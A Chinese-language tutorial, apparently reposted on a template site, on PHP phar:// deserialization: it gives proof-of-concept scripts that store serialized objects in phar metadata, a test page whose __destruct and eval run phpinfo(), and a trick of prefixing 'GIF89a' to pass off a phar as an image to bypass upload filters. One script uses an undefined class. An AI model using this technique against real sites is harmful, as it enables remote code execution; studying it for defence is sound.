关于php----phar伪协议和phar文件反序列化漏洞利用

这篇具有很好参考价值的文章主要介绍了关于php----phar伪协议和phar文件反序列化漏洞利用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

Secarma的安全研究员Sam Thomas发现了php里一种新的反序列化漏洞,这种漏洞的利用可以避开传统的php反序列化漏洞的查找,旧漏洞莫非寻找反序列化链(pop链),如thinkphp、Laravel的反序列化链的漏洞和使用phar://伪协议完成反序列化漏洞。新发现的漏洞通过创建phar文件,以及配合phar伪协议进而实现反序列化拿到敏感信息。

什么是phar

phar(php archive)含义为php 归档文件。如果一个由多个文件构成的php应用程序,可以合并打包为一个文件夹,类似于javaweb项目里的jar文件的话,对于程序员来说是很方便的。在PHP5.3之后支持了类似Java的jar包,名为phar。用来将多个PHP文件打包为一个文件。要生成phar文件的话也是很方便,不需要借助额外的工具来创建或者使用,通过php脚本运行就自动在该脚本所在目录下自动创建。

开启phar

在本地找到php的配置文件php.ini,修改;phar.readonly=On

phar.readonly=off

关于php----phar伪协议和phar文件反序列化漏洞利用

漏洞原理

phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,可以通过此漏洞利用的函数:

关于php----phar伪协议和phar文件反序列化漏洞利用

 文章来源地址https://www.toymoban.com/news/detail-448741.html

利用条件

phar文件可以上传到服务器

有例如file_get_contents(),file(),include等文件操作函数

:、/、phar等重要参数没有被过滤

漏洞复现

首先测试phar伪协议是怎么利用的,往下看:

在本地创建一个php脚本,用来生成.phar文件,名为1.php脚本如下:

<?php
    class A {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='N1Xx';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("1.txt", "nlxx"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

执行后会在该脚本所在目录,也就是本地根目录生成phar.phar文件:

关于php----phar伪协议和phar文件反序列化漏洞利用

 

 

接着创建一个测试脚本2.php,内容如下:

<?php
class A{
    function __destruct()
    {
        echo $this -> data;   
    }
}
include('phar://phar.phar');
?>

访问http://127.0.0.1//2.php:

关于php----phar伪协议和phar文件反序列化漏洞利用

分析:

对1.php

在1.php里A类里面其实是没有内容的,所以无法将实例化的对象$obj序列化字符串写入meta-data并存入manifest,但自定义$o -> data='N1Xx';所以将N1Xx存入phar.phar文件中。值得注意的是没有定义$phar->addFromString,相当于没有添加要压缩的文件。

对2.php

在2.php里 echo $this -> data; 输出A类的data变量,即"N1Xx"

但由于1.php没有定义压缩文件,所以这里使用include('phar://phar.phar');文件包含,若使用file_get_contents('phar://phar.phar');会报错:

关于php----phar伪协议和phar文件反序列化漏洞利用

所以只有当添加有压缩文件时,使用file_get_contents才不会报错。为验证上述问题,接着在1.php里添加压缩文件1.txt,并写入nlxx

 关于php----phar伪协议和phar文件反序列化漏洞利用

修改2.php:

关于php----phar伪协议和phar文件反序列化漏洞利用

再访问http://127.0.0.1/2.php

关于php----phar伪协议和phar文件反序列化漏洞利用

 

测试成功,,所以要注意include和file_get_contents两者的使用。

下面测试phar伪协议和.phar文件反序列化结合使用:

新建一个3.php,内容如下:

<?php 
class B{
    public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$obj=new B();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("1.txt","nlxx");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

在类B里添加了name变量,并赋值为phpinfo(),并添加了压缩文件

新建测试类4.php:

关于php----phar伪协议和phar文件反序列化漏洞利用

分析:

file_get_contents()文件包含漏洞使用了phar://伪协议,将meta-data中保存的序列化字符串转化成对象,对象在关闭所有引用之后调用了析构函数__destruct(),eval()执行了变量$name的值,而它的值是phpinfo();

将生成的test.phar拖入010查看:

 关于php----phar伪协议和phar文件反序列化漏洞利用

验证了上述序列化字符串被写入meta-data并存入manifest,即存入test.phar文件中。

访问http://127.0.0.1/4.php:

 关于php----phar伪协议和phar文件反序列化漏洞利用

可知,压缩文件1.txt的内容打印输出,phpinfo()也被执行。

拓展

因为一些网站限制了文件上传的格式,例如只能上传PNG、jpg等图片格式,单单上传.phar文件会被过滤导致上传失败。所以可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

修改3.php里$phar->setStub("<?php __HALT_COMPILER(); ?>");$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');

将生成的.phar文件放进cmder,使用file命令查看是什么类型:

 关于php----phar伪协议和phar文件反序列化漏洞利用

由此可得到把.phar文件伪装成GIF类型的文件,这样就可以绕过某些网站的限制,成功上传文件。  

 

到了这里,关于关于php----phar伪协议和phar文件反序列化漏洞利用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 反序列化漏洞(PHP)

    0x01. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更具维护性 0x02. 为什么会有序列化 序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型

    2024年02月06日
    浏览(48)
  • php反序列化漏洞基础

            序列化是将对象或类转换为字符串的过程 ,以便在程序运行过程中对其进行持久化存储或传输的操作。在PHP中,序列化主要用于将类对象或数组转换成字节流的形式,以便于存储在磁盘或传输到其他系统。         通过 序列化,可以将对象或类转换成一串字

    2024年01月20日
    浏览(63)
  • PHP反序列化漏洞原理

    1、原理: 序列化与反序列化是保证数据一致性的过程。 2、产生: 序列化与反序列化的过程中,用户可控 如果反序列化的参数受到攻击者的控制,就会产生漏洞。攻击者可以通过修改参数个数等方式来控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。

    2024年01月16日
    浏览(61)
  • 基于PHP反序列化练习

     PHP创建一个以自己姓名命名的类,要求存在两个属性,name,age,进行序列化,输出序列化以后的数据。 序列化后数据: 手动修改序列化后的数据实现age年龄+100,输出反序列化后的内容:

    2024年01月23日
    浏览(63)
  • PHP反序列化漏洞-魔术方法绕过

    一、__wakeup()魔法函数绕过: 在PHP中,__wakeup()是一个魔术方法,用于在反序列化对象时自动调用。 当反序列化字符串中的对象属性个数大于实际属性个数时 ,可以利用这个漏洞进行绕过。 触发条件: PHP版本为5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的对

    2024年01月18日
    浏览(55)
  • 反序列化漏洞及PHP魔法函数

    目录 1、漏洞原理 2、序列化(以PHP语言为例) 3、反序列化 4、PHP魔法函数 (1)__wakeup() (2)__destruct() (3)__construct() (4)__toString() (5)__get() (6)__call() PHP反序列化漏洞也叫PHP对象注入,形成的原因是程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反

    2024年02月04日
    浏览(59)
  • 十、pikachu之php反序列化

      在理解这个漏洞前,首先搞清楚php中 serialize() , unserialize() 这两个函数。 (1)序列化 serialize() :就是把一个对象变成可以传输的字符串。比如下面是一个对象: (2)反序列化 unserialize() :就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。   序

    2024年02月11日
    浏览(51)
  • PHP反序列化漏洞之魔术方法

    PHP魔术方法 (Magic Methods) 是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct() 、 __toString() 等。 魔术方法可以帮助我们实现一些特殊的行为,例如对象的初始化、属性

    2024年02月16日
    浏览(49)
  • 无涯教程-PHP - Filtered反序列化

    PHP 7引入了Filtered unserialize() 函数,以在对不受信任的数据上的对象进行反序列化时提供更好的安全性。 它产生以下浏览器输出- PHP - Filtered反序列化 - 无涯教程网 无涯教程网提供PHP 7引入了Filtered unserialize() 函数,以在对不受信任的数据上的对象进行反序列化... https://www.lea

    2024年02月10日
    浏览(45)
  • 两道题浅析PHP反序列化逃逸

    反序列化逃逸 的出现是因为php反序列化函数在进行反序列化操作时,并不会审核字符串中的内容,所以我们可以操纵属性值,使得反序列化提前结束。 反序列化逃逸题 一般都是存在一个filter函数,这个函数看似过滤了敏感字符串,其实使得代码的安全性有所降低;并且分为

    2024年02月05日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包